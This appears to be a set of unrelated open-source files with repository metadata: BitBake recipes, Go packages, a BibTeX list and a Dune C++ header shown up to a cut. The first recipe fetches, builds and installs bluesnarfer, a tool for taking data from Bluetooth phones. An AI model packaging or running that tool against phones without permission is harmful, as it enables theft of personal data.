text:
DESCRIPTION = "Bluetooth cellphone information gatherer"
LICENSE = "GPL"
SECTION = "network/misc"
DEPENDS = "bluez-libs"
PV = "0.1"

SRC_URI = "http://www.alighieri.org/tools/bluesnarfer.tar.gz"
S = "${WORKDIR}/bluesnarfer"

LDFLAGS =+ "-lbluetooth"

do_compile() {
	oe_runmake bluesnarfer
}

do_install() {
	install -d ${D}${bindir}
	install -m 0755 ${S}/bluesnarfer ${D}${bindir}
}

SRC_URI[md5sum] = "ee1fcf2e12b74e8cf65f43cdd2c47b72"
SRC_URI[sha256sum] = "5cff4c3269cf006bef9f66ec0a788139689425b96c6d7c60024f0841632b065b"

repository: overo/overo-oe-natty

repo_name: overo/overo-oe-natty

branch_name: HEAD

extension: bb


text:
#base recipe: meta-openembedded/meta-python/recipes-devtools/python/python3-tornado_5.1.bb
#base branch: warrior
#base commit: a24acf94d48d635eca668ea34598c6e5c857e3f8

inherit pypi setuptools3
require python-tornado.inc

# Requires _compression which is currently located in misc
RDEPENDS_${PN} += "\
    ${PYTHON_PN}-misc \
    "

license: MIT

repository: miraclelinux/meta-debian-extended

license_type: permissive

repo_name: miraclelinux/meta-debian-extended

branch_name: refs/heads/warrior

gha_license_id: MIT

gha_language: BitBake


text:
package logging

import (
	"bytes"
	"sync"
)

type loggerBuffer struct {
	bufferLock    sync.RWMutex
	bufferContent *bytes.Buffer
}

type cacheBuffer struct {
	buffer *bytes.Buffer
	stop   bool
}

func (info *loggerBuffer) WriteString(str string) {
	info.bufferLock.Lock()
	info.bufferContent.WriteString(str)
	info.bufferLock.Unlock()
}

func (info *loggerBuffer) WriteBuffer(bufferQueue chan *cacheBuffer, stop bool) {
	info.bufferLock.Lock()
	if info.bufferContent.Len() > 0 || stop {
		bufferQueue <- &cacheBuffer{
			buffer: info.bufferContent,
			stop:   stop,
		}
		info.bufferContent = bytes.NewBuffer(make([]byte, 0, defaultBufferSize))
	}
	info.bufferLock.Unlock()
}

func newLoggerBuffer() *loggerBuffer {
	return &loggerBuffer{
		bufferContent: bytes.NewBuffer(make([]byte, 0, defaultBufferSize)),
	}
}

repository: lucifinil-long/logging

repo_name: lucifinil-long/logging

branch_name: refs/heads/master

extension: go


text:
SUMMARY = "Python bindings for GStreamer 1.0"
HOMEPAGE = "http://cgit.freedesktop.org/gstreamer/gst-python/"
SECTION = "multimedia"

LICENSE = "LGPLv2.1"
LIC_FILES_CHKSUM = "file://COPYING;md5=c34deae4e395ca07e725ab0076a5f740"

SRCREV = "6396ebf8e0aba4942792af7ae64dcd459e9729a7"
SRC_URI = "git://gitlab.freedesktop.org/gstreamer/gst-python.git;protocol=https"

SRC_URI[md5sum] = "6ac709767334d8d0a71cb4e016f6abeb"
SRC_URI[sha256sum] = "208df3148d73d9f416d016564737585d8ea763d91201732d44b5fe688c6288a8"

DEPENDS = "gstreamer1.0 python3-pygobject"
RDEPENDS_${PN} += "gstreamer1.0 python3-pygobject"

PNREAL = "gst-python"

S = "${WORKDIR}/git"

# gobject-introspection is mandatory and cannot be configured
REQUIRED_DISTRO_FEATURES = "gobject-introspection-data"
UNKNOWN_CONFIGURE_WHITELIST_append = " introspection"

inherit meson pkgconfig distutils3-base upstream-version-is-even gobject-introspection features_check

do_install_append() {

    # Note that this particular find line is taken from the Debian packaging for
    # gst-python1.0.
    find "${D}" \
        -name '*.pyc' -o \
        -name '*.pyo' -o \
        -name '*.la' -o \
        -name 'libgstpythonplugin*' \
        -delete
}

repository: bramoosterhuis/meta-video-streamer

repo_name: bramoosterhuis/meta-video-streamer

branch_name: refs/heads/main


text:
package alitrippoi

// AlitripPlatformPoiRawFeedResult 结构体
type AlitripPlatformPoiRawFeedResult struct {
	// 错误信息
	Message string `json:"message,omitempty" xml:"message,omitempty"`
	// 返回码
	ResultCode string `json:"result_code,omitempty" xml:"result_code,omitempty"`
	// 返回值
	Data int64 `json:"data,omitempty" xml:"data,omitempty"`
	// totalRecords
	TotalRecords int64 `json:"total_records,omitempty" xml:"total_records,omitempty"`
	// 成功标识
	Success bool `json:"success,omitempty" xml:"success,omitempty"`
}

repository: bububa/opentaobao

repo_name: bububa/opentaobao

gha_language: Go


text:
@misc{Wiederhold,
author = {Brenda K. Wiederhold},
title = {Citizen Scientists Generate Benefits for Researchers, Educators, Society and Themselves. Cyberpsychology, Behaviour and Social Networking, 14(12)},
year = {2011},
howpublished = {\url{http://online.liebertpub.com/doi/abs/10.1089/cyber.2011.1534}},
note = {Letzter Zugriff am 5.10.2015}
}

@misc{Cohn,
author = {Jeffrey P. Cohn},
title = {Citizen Science: Can volunteers do real research? BioScience},
year = {2008},
howpublished = {\url{http://bioscience.oxfordjournals.org/content/58/3/192.abstract}},
note = {Letzter Zugriff am 5.10.2015}
}

@book{Haklay,
author = {M. Haklay},
title = {Citizen Science and Volunteered Geographic Information - Overview and typology of participation. Sui, D.Z., Elwood, S. and M.F. Goodchild (eds.), 2013. Crowdsourcing Geographic Knowledge: Volunteered Geographic Information (VGI) in Theory and Practice},
publisher = {Springer},
location = {Berlin},
year = {2013},
note = {Letzter Zugriff über \url{https://github.com/ThomasK81/CitizenScienceCourse/blob/master/Seminar20150422/haklaycrowdsourcinggeographicknowledge.pdf} am 5.10.2015}
}

@misc{CW,
author = {Kevin Crowston \& Andrea Wiggins},
title = {From Conservation to Crowdsourcing: A Typology of Citizen Science. Proceedings of the 44th Annual Hawaii International Conference on System Sciences},
year = {2011},
howpublished = {\url{http://andreawiggins.com/wp-content/uploads/2013/10/Wiggins2011HICSS.pdf}},
note = {Letzter Zugriff am 5.10.2015}
}

@book{Flanagan,
    author = {David Flanagan},
    title = {JavaScript: The Definitive Guide, 6th Edition},
    publisher = {O'Reilly Media},
    howpublished = {\url{http://shop.oreilly.com/product/9780596805531.do}},
    year = {2011}
}

repository: runjak/TranscriptionDesk

repo_name: runjak/TranscriptionDesk

extension: bib


text:
/*
 * singleton.go
 *
 * This source file is part of the FoundationDB open source project
 *
 * Copyright 2023 Apple Inc. and the FoundationDB project authors
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package fixtures

import (
	chaosmesh "github.com/chaos-mesh/chaos-mesh/api/v1alpha1"
	appsv1 "k8s.io/api/apps/v1"
	"k8s.io/apimachinery/pkg/runtime"
	"k8s.io/client-go/kubernetes/scheme"
	"math/rand"
	"os/user"
	"time"

	fdbv1beta2 "github.com/FoundationDB/fdb-kubernetes-operator/api/v1beta2"
	corev1 "k8s.io/api/core/v1"
	"k8s.io/client-go/kubernetes"
	"k8s.io/client-go/rest"
	controllerRuntimeClient "sigs.k8s.io/controller-runtime/pkg/client"
	"sigs.k8s.io/controller-runtime/pkg/client/config"
)

type singleton struct {
	options                 *FactoryOptions
	userName                string
	certificate             *corev1.Secret
	config                  *rest.Config
	client                  *kubernetes.Clientset
	controllerRuntimeClient controllerRuntimeClient.Client
	fdbVersion              fdbv1beta2.Version
	namespaces              []string
}

func getSingleton(options *FactoryOptions) (*singleton, error) {
	err := options.validateFlags()
	if err != nil {
		return nil, err
	}

	var userName string
	if options.username == "" {
		var u *user.User
		u, err = user.Current()
		if err != nil {
			return nil, err
		}
		userName = u.Username
	} else {
		userName = options.username
	}

	rand.Seed(time.Now().UnixNano())
	certificate, _ := GenerateCertificate()
	if err != nil {
		return nil, err
	}

	kubeConfig, err := config.GetConfigWithContext(options.context)
	if err != nil {
		return nil, err
	}
	client, err := kubernetes.NewForConfig(kubeConfig)
	if err != nil {
		return nil, err
	}
	fdbVersion, err := fdbv1beta2.ParseFdbVersion(options.fdbVersion)
	if err != nil {
		return nil, err
	}

	// Also add Apps v1 and Core v1 to allow to use the controller runtime client
	// to modify Pods, Deployments etc.
	curScheme := runtime.NewScheme()
	err = scheme.AddToScheme(curScheme)
	if err != nil {
		return nil, err
	}
	err = appsv1.AddToScheme(curScheme)
	if err != nil {
		return nil, err
	}
	err = corev1.AddToScheme(curScheme)
	if err != nil {
		return nil, err
	}
	err = fdbv1beta2.AddToScheme(curScheme)
	if err != nil {
		return nil, err
	}
	err = chaosmesh.AddToScheme(curScheme)
	if err != nil {
		return nil, err
	}

	controllerClient, err := LoadControllerRuntimeFromContext(options.context, curScheme)
	if err != nil {
		return nil, err
	}

	return &singleton{
		options:                 options,
		userName:                userName,
		config:                  kubeConfig,
		client:                  client,
		fdbVersion:              fdbVersion,
		certificate:             certificate,
		controllerRuntimeClient: controllerClient,
	}, nil
}

repository: FoundationDB/fdb-kubernetes-operator

repo_name: FoundationDB/fdb-kubernetes-operator


text:
package types

// IPCObject 定义
type IPCObject struct {
	Id      uint64      `msgpack:"id"` // 消息ID(用于幂等操作)
	SrcId   int32       `msgpack:"a"`  // 发送方用户ID
	DestId  int32       `msgpack:"b"`  // 接收放用户ID
	AuxIds  []int32     `msgpack:"c"`  // 目标用户ID集合(用于组播)
	Service int16       `msgpack:"d"`  // 服务号
	Object  interface{} `msgpack:"e"`  // 投递的内容
	Time    int64       `msgpack:"f"`  // 发送时间
	Extra   []byte      `msgpack:"g"`  // 额外原始数据
}


text:
package kvstore // import "a4.io/blobstash/pkg/kvstore"

import (
	"context"
	"errors"
	"fmt"
	"path/filepath"
	"strconv"
	"strings"
	"time"

	log "github.com/inconshreveable/log15"

	"a4.io/blobstash/pkg/meta"
	"a4.io/blobstash/pkg/stash/store"
	"a4.io/blobstash/pkg/vkv"
)

const KvType = "kv"

var ErrInvalidKey = errors.New("/ is a forbidden character for keys")

// FIXME(tsileo): take a ctx as first arg for each method

type KvStore struct {
	blobStore store.BlobStore
	meta      *meta.Meta
	log       log.Logger

	vkv *vkv.DB
}

func New(logger log.Logger, dir string, blobStore store.BlobStore, metaHandler *meta.Meta) (*KvStore, error) {
	logger.Debug("init")
	kv, err := vkv.New(filepath.Join(dir, "vkv"))
	if err != nil {
		return nil, err
	}
	kvStore := &KvStore{
		blobStore: blobStore,
		meta:      metaHandler,
		log:       logger,
		vkv:       kv,
	}
	metaHandler.RegisterApplyFunc(KvType, kvStore.applyMetaFunc)
	return kvStore, nil
}

func (kv *KvStore) GetMetaBlob(ctx context.Context, key string, version int64) (string, error) {
	return kv.vkv.GetMetaBlob(key, version)
}

func (kv *KvStore) applyMetaFunc(hash string, data []byte) error {
	kv.log.Debug("Apply meta init", "hash", hash)
	// applied, err := kv.vkv.MetaBlobApplied(hash)
	// if err != nil {
	// return err
	// }
	// if !applied {
	// kv.log.Debug("meta not yet applied")
	rkv, err := vkv.UnserializeBlob(data)
	if err != nil {
		return fmt.Errorf("failed to unserialize blob: %v", err)
	}
	metaBlobHash, err := kv.vkv.GetMetaBlob(rkv.Key, rkv.Version)
	if err != nil {
		return err
	}
	if metaBlobHash != "" {
		kv.log.Debug("kv already applied")
		return nil
	}

	if _, err := kv.Put(context.Background(), rkv.Key, rkv.HexHash(), rkv.Data, rkv.Version); err != nil {
		return fmt.Errorf("failed to put: %v", err)
	}
	kv.log.Debug("Applied meta", "kv", rkv)
	// }
	return nil
}

func (kv *KvStore) Close() error {
	return kv.vkv.Close()
}

func (kv *KvStore) Get(ctx context.Context, key string, version int64) (*vkv.KeyValue, error) {
	kv.log.Info("OP Get", "key", key, "version", version)
	return kv.vkv.Get(key, version)
}

func (kv *KvStore) Keys(ctx context.Context, start, end string, limit int) ([]*vkv.KeyValue, string, error) {
	kv.log.Info("OP Keys", "start", start, "end", end)
	kvs, cursor, err := kv.vkv.Keys(start, end, limit)
	return kvs, cursor, err
}

func (kv *KvStore) Versions(ctx context.Context, key, start string, limit int) (*vkv.KeyValueVersions, string, error) {
	kv.log.Info("OP Versions", "key", key, "start", start)
	// FIXME(tsileo): decide between -1/0 for default, or introduce a constant Max/Min?? and the end only make sense for the reverse Versions?
	var istart int64
	var err error
	if start == "0" {
		istart = time.Now().UTC().UnixNano()
	} else {
		istart, err = strconv.ParseInt(start, 10, 0)
		if err != nil {
			return nil, "", err
		}
	}
	res, cursor, err := kv.vkv.Versions(key, 0, istart, limit)
	if err != nil {
		return nil, "", err
	}

	return res, strconv.FormatInt(cursor, 10), nil
}

func (kv *KvStore) ReverseKeys(ctx context.Context, start, end string, limit int) ([]*vkv.KeyValue, string, error) {
	return kv.vkv.ReverseKeys(start, end, limit)
}

func (kv *KvStore) Put(ctx context.Context, key, ref string, data []byte, version int64) (*vkv.KeyValue, error) {
	if strings.Contains(key, "/") {
		return nil, ErrInvalidKey
	}
	// _, fromHttp := ctxutil.Request(ctx)
	// kv.log.Info("OP Put", "from_http", fromHttp, "key", key, "value", value, "version", version)
	res := &vkv.KeyValue{
		Key:     key,
		Version: version,
		Data:    data,
	}
	if ref != "" {
		res.SetHexHash(ref)
	}
	if err := kv.vkv.Put(res); err != nil {
		return nil, err
	}

	metaBlob, err := kv.meta.Build(res)
	if err != nil {
		return nil, err
	}

	if err := kv.vkv.SetMetaBlob(key, res.Version, metaBlob.Hash); err != nil {
		return nil, err
	}

	// XXX(tsileo): notify the blobstore it does not need to exec the meta hook for this one?
	if _, err := kv.blobStore.Put(ctx, metaBlob); err != nil {
		return nil, err
	}

	return res, nil
}

repository: tsileo/blobstash

repo_name: tsileo/blobstash


text:
#ifndef MODELDEFAULT_HH
#define MODELDEFAULT_HH

#include <dune/common/fvector.hh>
#include <dune/fem/function/adaptivefunction/adaptivefunction.hh>
#include <dune/fem/space/dgspace.hh>

#include <dune/fem/oseen/functionspacewrapper.hh>
#include <dune/fem/oseen/boundaryinfo.hh>
#include <dune/fem/oseen/stab_coeff.hh>

#ifndef NLOG
    #include <dune/stuff/common/print.hh>
    #include <dune/stuff/common/logging.hh>
#endif

#include <dune/stuff/common/misc.hh>

#include <algorithm>

// include this file after all other includes because some of them might undef
// the macros we want to use
#include <dune/common/bartonnackmanifcheck.hh>

#include "modelinterface.hh"

namespace Dune
{

/**
 *  \brief  A default implementation of a discrete stokes model.
 *
 *          Implements the fluxes needed for the LDG method
 *          (see Dune::DiscreteOseenModelInterface for details).\n
 *          The fluxes \f$\hat{u}_{\sigma}\f$, \f$\hat{\sigma}\f$,
 *          \f$\hat{p}\f$ and \f$\hat{u}_{p}\f$ are implemented as proposed in
 *          B. Cockburn, G. Kanschat, D. Schötzau, C. Schwab: Local
 *          Discontinuous Galerkin Methodsfor the Stokes System (2000).\n\n
 *          To use this model, a user has to implement the analytical force
 *          \f$f\f$ and the dirichlet data \f$g_{D}\f$ as a Dune::Fem::Function
 *          (only the method evaluate( arg, ret ) is needed) and specify the
 *          types of this functions as template arguments for the traits class
 *          DiscreteOseenModelDefaultTraits.\n
 *
 *          Notation: Given simplices \f$T_{+}\f$ and
 *          \f$T_{-}\f$ and a face \f$\varepsilon\f$ between them, the values
 *          of a function \f$u\f$ on the face \f$\varepsilon\f$ are denoted by \f$u^{+}\f$,
 *          if seen from \f$T_{+}\f$ and \f$u^{-}\f$, if seen from \f$T_{-}\f$.
 *          The outer normals of \f$T_{+,-}\f$ in a given point on
 *          the face \f$\varepsilon\f$ are denoted by \f$n_{+,-}\f$,
 *          accordingly.\n
 *
 *          We define the mean values\n
 *          - \f$\{\{p\}\}\in R\f$ for a \f$p\in R\f$ as
 *              \f[
 *                  \{\{p\}\}:=\frac{1}{2}\left(p^{+}+p^{-}\right),
 *              \f]
 *          - \f$\{\{u\}\}\in R^{d}\f$ for a \f$u\in R^{d}\f$ as
 *              \f[
 *                  \{\{u\}\}:=\frac{1}{2}\left(u^{+}+u^{-}\right),
 *              \f]
 *          - \f$\{\{\sigma\}\}\in R^{d\times d}\f$ for a \f$\sigma\in R^{d\times d}\f$ as
 *              \f[
 *                  \{\{\sigma\}\}:=\frac{1}{2}\left(\sigma^{+}+\sigma^{-}\right)
 *              \f]
 *
 *          and the jumps\n
 *          - \f$\left[\left[p\right]\right]\in R^{d}\f$ for a \f$p\in R\f$ as
 *              \f[
 *                  \left[\left[p\right]\right]:=p^{+}n^{+}+p^{-}n^{-},
 *              \f]
 *          - \f$\left[\left[u\right]\right]\in R\f$ for a \f$u\in R^{d}\f$ as
 *              \f[
 *                  \left[\left[u\right]\right]:=u^{+}\cdot n^{+}+u^{-}\cdot n^{-},
 *              \f]
 *          - \f$\underline{\left[\left[u\right]\right]}\in R^{d\times d}\f$ for a \f$u\in R^{d}\f$ as
 *              \f[
 *                  \underline{\left[\left[u\right]\right]}:=u^{+}\otimes n^{+}+u^{-}\otimes n^{-},
 *              \f]
 *          - \f$\left[\left[\sigma\right]\right]\in R^{d}\f$ for a \f$\sigma\in R^{d\times d}\f$ as
 *              \f[
 *                  \left[\left[\sigma\right]\right]:=\sigma^{+}\cdot n^{+}+\sigma^{-}\cdot n^{-}.
 *              \f]
 *
 *          We also denote by \f$\mathcal{E}_{D}\f$ the set of those faces
 *          \f$\varepsilon\f$ that lie on the boundary \f$\partial\Omega\f$ and
 *          by \f$\mathcal{E}_{I}\f$ those which are inside \f$\Omega\f$.\n
 *          For a detailed definition of this notation see B. Cockburn, G. Kanschat, D. Schötzau, C. Schwab: Local
 *          Discontinuous Galerkin Methodsfor the Stokes System (2000), again.\n
 *
 *          Attention: For reasons of simplicity the assumtion \f$n^{-}=-1\cdot n^{+}\f$ is used.
 *          This may be not true for nonconforming grids.\n
 *
 *          With this notation at hand the fluxes can de described as
 *          - \f$\hat{u}_{\sigma}:\Omega\rightarrow R^{d}\f$ for an inner face
 *              \f[
 *                  \hat{u}_{\sigma}(u):=\{\{u\}\}-\underline{\left[\left[u\right]\right]}\cdot C_{12}\quad\quad\varepsilon\in\mathcal{E}_{I},
 *              \f]
 *          - \f$\hat{u}_{\sigma}:\Omega\rightarrow R^{d}\f$ for a boundary face
 *              \f[
 *                  \hat{u}_{\sigma}(u):=g_{D}\quad\quad\varepsilon\in\mathcal{E}_{D},
 *              \f]
 *          - \f$\hat{\sigma}:\Omega\rightarrow R^{d\times d}\f$ for an inner face
 *              \f[
 *                  \hat{\sigma}(u,\sigma):=\{\{\sigma\}\}-C_{11}\underline{\left[\left[u\right]\right]}-\left[\left[\sigma\right]\right]\otimes C_{12}\quad\quad\varepsilon\in\mathcal{E}_{I},
 *              \f]
 *          - \f$\hat{\sigma}:\Omega\rightarrow R^{d\times d}\f$ for a boundary face
 *              \f[
 *                  \hat{\sigma}(u,\sigma):=\sigma^{+}-C_{11}\left(u^{+}-g_{D}\right)\otimes n^{+}\quad\quad\varepsilon\in\mathcal{E}_{D},
 *              \f]
 *          - \f$\hat{p}:\Omega\rightarrow R\f$ for an inner face
 *              \f[
 *                  \hat{p}(p):=\{\{p\}\}-D_{12}\left[\left[p\right]\right]\quad\quad\varepsilon\in\mathcal{E}_{I},
 *              \f]
 *          - \f$\hat{p}:\Omega\rightarrow R\f$ for a boundary face
 *              \f[
 *                  \hat{p}(p):=p^{+}\quad\quad\varepsilon\in\mathcal{E}_{D},
 *              \f]
 *          - \f$\hat{u}_{p}:\Omega\rightarrow R^{d}\f$ for an inner face
 *              \f[
 *                  \hat{u}_{p}(u,p):=\{\{u\}\}+D_{11}\left[\left[p\right]\right]+D_{12}\left[\left[u\right]\right]\quad\quad\varepsilon\in\mathcal{E}_{I},
 *              \f]
 *          - \f$\hat{u}_{p}:\Omega\rightarrow R^{d}\f$ for a boundary face
 *              \f[
 *                  \hat{u}_{p}(u,p):=g_{D}\quad\quad\varepsilon\in\mathcal{E}_{D},
 *              \f]
 *
 *          where \f$C_{11},\;\;D_{11}\in R\f$ are the stability coefficients
 *          and \f$C_{12},\;\;D_{12}\in R^{d}\f$ are the coefficients
 *          concerning efficiency and accuracy.\n
 *
 *          These fluxes are then decomposed into several numerical fluxes (see
 *          Dune::DiscreteOseenModelInterface for details):\n
 *
 *          \f {tabular} {l||l}
 *              on $\mathcal{E}_{I}$ & on $\mathcal{E}_{I}$ \\
 *                  \hline\hline
 *              $\boldsymbol{\hat{u}_{\sigma}^{U^{+}}(u)} := \frac{1}{2} u + \left( u \otimes n^{+} \right) \cdot C_{12}$
 *                  & $\boldsymbol{\hat{u}_{\sigma}^{U^{+}}(u)} := 0$ \\
 *              $\boldsymbol{\hat{u}_{\sigma}^{U^{-}}(u)} := \frac{1}{2} u + \left( u \otimes n^{-} \right) \cdot C_{12}$
 *                  & $\boldsymbol{\hat{u}_{\sigma}^{RHS}} := g_{D}$ \\
 *                  \hline
 *              $\boldsymbol{\hat{u}_{p}^{U^{+}}(u)} := \frac{1}{2} u + D_{12} u \cdot n^{+}$
 *                  & $\boldsymbol{\hat{u}_{p}^{U^{+}}(u)} := 0$ \\
 *              $\boldsymbol{\hat{u}_{p}^{U^{-}}(u)} := \frac{1}{2} u + D_{12} u \cdot n^{-}$
 *                  & $\quad$ \\
 *              $\boldsymbol{\hat{u}_{p}^{P^{+}}(p)} := D_{11} p n^{+}$
 *                  & $\boldsymbol{\hat{u}_{p}^{P^{+}}(p)} := 0$ \\
 *              $\boldsymbol{\hat{u}_{p}^{P^{-}}(p)} := D_{11} p n^{-}$
 *                  & $\boldsymbol{\hat{u}_{p}^{RHS}} := g_{D}$\\
 *                  \hline
 *              $\boldsymbol{\hat{p}^{P^{+}}(p)} := \frac{1}{2} p - p D_{12} \cdot n^{+}$
 *                  & $\boldsymbol{\hat{p}^{P^{+}}(p)} := p$ \\
 *              $\boldsymbol{\hat{p}^{P^{-}}(p)} := \frac{1}{2} p - p D_{12} \cdot n^{-}$
 *                  & $\boldsymbol{\hat{p}^{RHS}} := 0$ \\
 *                  \hline
 *              $\boldsymbol{\hat{\sigma}^{U^{+}}(u)} := -C_{11} u \otimes n^{+}$
 *                  & $\boldsymbol{\hat{\sigma}^{U^{+}}(u)} := -C_{11} u \otimes n^{+}$ \\
 *              $\boldsymbol{\hat{\sigma}^{U^{-}}(u)} := -C_{11} u \otimes n^{-}$
 *                  & $\quad$ \\
 *              $\boldsymbol{\hat{\sigma}^{\sigma^{+}}(u)} := \frac{1}{2} \sigma - \left( \sigma \cdot n^{+} \right)$
 *                  & $\boldsymbol{\hat{\sigma}^{\sigma^{+}}(u)} := \sigma$ \\
 *              $\boldsymbol{\hat{\sigma}^{\sigma^{-}}(u)} := \frac{1}{2} \sigma - \left( \sigma \cdot n^{-} \right)$
 *                  & $\boldsymbol{\hat{\sigma}^{RHS}} := -C_{11} g_{D} \otimes n^{+}$
 *          \f}
 *
 *          The implementation is as follows:\n
 *
 *          - \f$\hat{u}_{\sigma}(u):\Omega\rightarrow R^{d}\f$\n
 *            - for inner faces
 *              - \f$\hat{u}_{\sigma}^{U^{+}}\f$ and
 *                \f$\hat{u}_{\sigma}^{U^{-}}\f$ are implemented in
 *                velocitySigmaFlux() (const IntersectionIteratorType& it, const
 *                double time, const FaceDomainType& x, const Side side, const
 *                VelocityRangeType& u, VelocityRangeType& uReturn), where
 *                side determines, whether \f$\hat{u}_{\sigma}^{U^{+}}\f$
 *                (side=inside) or \f$\hat{u}_{\sigma}^{U^{-}}\f$
 *                (side=outside) is returned
 *            - for faces on the boundary of \f$\Omega\f$
 *              - \f$\hat{u}_{\sigma}^{U^{+}}\f$ is implemented in
 *                velocitySigmaBoundaryFlux() ( const IntersectionIteratorType&
 *                it, const double time, const FaceDomainType& x,
 *                const VelocityRangeType& u, VelocityRangeType&
 *                uReturn )
 *              - \f$\hat{u}_{\sigma}^{RHS}\f$ is implemented in
 *                velocitySigmaBoundaryFlux() ( const IntersectionIteratorType&
 *                it, const double time, const FaceDomainType& x,
 *                VelocityRangeType& rhsReturn )
 *          - \f$\hat{u}_{p}(u,p):\Omega\rightarrow R^{d}\f$\n
 *            - for inner faces
 *              - \f$\hat{u}_{p}^{U^{+}}\f$ and \f$\hat{u}_{p}^{U^{-}}\f$ are
 *                implemented in velocityPressureFlux() ( const
 *                IntersectionIteratorType& it, const double time, const
 *                FaceDomainType& x, const Side side, const VelocityRangeType&
 *                u, VelocityRangeType& uReturn ), where
 *                side determines, whether \f$\hat{u}_{p}^{U^{+}}\f$
 *                (side=inside) or \f$\hat{u}_{p}^{U^{-}}\f$
 *                (side=outside) is returned
 *              - \f$\hat{u}_{p}^{P^{+}}\f$ and \f$\hat{u}_{p}^{P^{+}}\f$ are
 *                implemented by velocityPressureFlux() ( const
 *                IntersectionIteratorType& it, const double time, const
 *                FaceDomainType& x, const Side side, const PressureRangeType&
 *                p, VelocityRangeType& pReturn ), where
 *                side determines, whether \f$\hat{u}_{p}^{P^{+}}\f$
 *                (side=inside) or \f$\hat{u}_{p}^{P^{+}}\f$
 *                (side=outside) is returned
 *            - for faces on the boundary of \f$\Omega\f$
 *              - \f$\hat{u}_{p}^{U^{+}}\f$ is implemented in
 *                velocityPressureBoundaryFlux() ( const
 *                IntersectionIteratorType& it, const double time, const
 *                FaceDomainType& x, const VelocityRangeType& u,
 *                VelocityRangeType& uReturn )
 *              - \f$\hat{u}_{p}^{P^{+}}\f$ is implemented in
 *                velocityPressureBoundaryFlux() ( const
 *                IntersectionIteratorType& it, const double time, const
 *                FaceDomainType& x, const PressureRangeType& p,
 *                VelocityRangeType& pReturn )
 *              - \f$\hat{u}_{p}^{RHS}\f$ is implemented in
 *                velocityPressureBoundaryFlux() ( const
 *                IntersectionIteratorType& it, const double time, const
 *                FaceDomainType& x, VelocityRangeType& rhsReturn )
 *          - \f$\hat{p}(p):\Omega\rightarrow R\f$\n
 *            - for inner faces
 *              - \f$\hat{p}^{P^{+}}\f$ and \f$\hat{p}^{P^{-}}\f$ are
 *                implemented in pressureFlux() ( const
 *                IntersectionIteratorType& it, const double time, const
 *                FaceDomainType& x, const Side side, const PressureRangeType&
 *                p, PressureRangeType& pReturn ), where
 *                side determines, whether \f$\hat{p}^{P^{+}}\f$
 *                (side=inside) or \f$\hat{p}^{P^{-}}\f$
 *                (side=outside) is returned
 *            - for faces on the boundary of \f$\Omega\f$
 *              - \f$\hat{p}^{P^{+}}\f$ is implemented in pressureBoundaryFlux() (
 *                const IntersectionIteratorType& it, const double time, const
 *                FaceDomainType& x, const PressureRangeType& p,
 *                PressureRangeType& pReturn )
 *              - \f$\hat{p}^{RHS}\f$ is implemented in pressureBoundaryFlux() (
 *                const IntersectionIteratorType& it, const double time, const
 *                FaceDomainType& x, PressureRangeType& rhsReturn )
 *          - \f$\hat{\sigma}(u,\sigma):\Omega\rightarrow R^{d\times d}\f$\n
 *            - for inner faces
 *              - \f$\hat{\sigma}^{U^{+}}\f$ and \f$\hat{\sigma}^{U^{-}}\f$ are
 *                implemented in sigmaFlux() ( const IntersectionIteratorType&
 *                it, const double time, const FaceDomainType& x, const Side
 *                side, const VelocityRangeType& u, SigmaRangeType&
 *                uReturn ), where
 *                side determines, whether \f$\hat{\sigma}^{U^{+}}\f$
 *                (side=inside) or \f$\hat{\sigma}^{U^{-}}\f$
 *                (side=outside) is returned
 *              - \f$\hat{\sigma}^{\sigma^{+}}\f$ and
 *                \f$\hat{\sigma}^{\sigma^{-}}\f$ are implemented in sigmaFlux()
 *                ( const IntersectionIteratorType& it, const double time, const
 *                FaceDomainType& x, const Side side, const SigmaRangeType&
 *                sigma, SigmaRangeType& sigmaReturn ), where
 *                side determines, whether
 *                \f$\hat{\sigma}^{\sigma^{+}}\f$ (side=inside) or
 *                \f$\hat{\sigma}^{\sigma^{-}}\f$ (side=outside) is returned
 *            - for faces on the boundary of \f$\Omega\f$
 *              - \f$\hat{\sigma}^{U^{+}}\f$ is implemented in
 *                sigmaBoundaryFlux() ( const IntersectionIteratorType& it,
 *                const double time, const FaceDomainType& x, const
 *                VelocityRangeType& u, SigmaRangeType& uReturn )
 *              - \f$\hat{\sigma}^{\sigma^{+}}\f$ is implemented in
 *                sigmaBoundaryFlux() ( const IntersectionIteratorType& it,
 *                const double time, const FaceDomainType& x, const
 *                SigmaRangeType& sigma, SigmaRangeType&
 *                sigmaReturn )
 *              - \f$\hat{\sigma}^{RHS}\f$ is implemented in sigmaBoundaryFlux()
 *                ( const IntersectionIteratorType& it, const double time, const
 *                FaceDomainType& x, SigmaRangeType& rhsReturn )
 **/
template < class DiscreteOseenModelTraitsImp >
class DiscreteOseenModelDefault : public DiscreteOseenModelInterface< DiscreteOseenModelTraitsImp >
{
    private:

        //! interface class
        typedef DiscreteOseenModelInterface< DiscreteOseenModelTraitsImp >
            BaseType;

        //! \copydoc Dune::DiscreteOseenModelInterface::IntersectionIteratorType
        typedef typename BaseType::IntersectionIteratorType
            IntersectionIteratorType;

    public:

        //! \copydoc Dune::DiscreteOseenModelInterface::VolumeQuadratureType
        typedef typename BaseType::VolumeQuadratureType
            VolumeQuadratureType;

        //! \copydoc Dune::DiscreteOseenModelInterface::FaceQuadratureType
        typedef typename BaseType::FaceQuadratureType
            FaceQuadratureType;

        //! \copydoc Dune::DiscreteOseenModelInterface::DiscreteOseenFunctionSpaceWrapperType
        typedef typename BaseType::DiscreteOseenFunctionSpaceWrapperType
            DiscreteOseenFunctionSpaceWrapperType;

        //! \copydoc Dune::DiscreteOseenModelInterface::DiscreteOseenFunctionSpaceWrapperType
        typedef typename BaseType::DiscreteOseenFunctionWrapperType
            DiscreteOseenFunctionWrapperType;

        //! \copydoc Dune::DiscreteOseenModelInterface::DiscreteSigmaFunctionType
        typedef typename BaseType::DiscreteSigmaFunctionType
            DiscreteSigmaFunctionType;

        //! \copydoc Dune::DiscreteOseenModelInterface::sigmaSpaceOrder
        static const int sigmaSpaceOrder
            = BaseType::sigmaSpaceOrder;
        //! \copydoc Dune::DiscreteOseenModelInterface::velocitySpaceOrder
        static const int velocitySpaceOrder
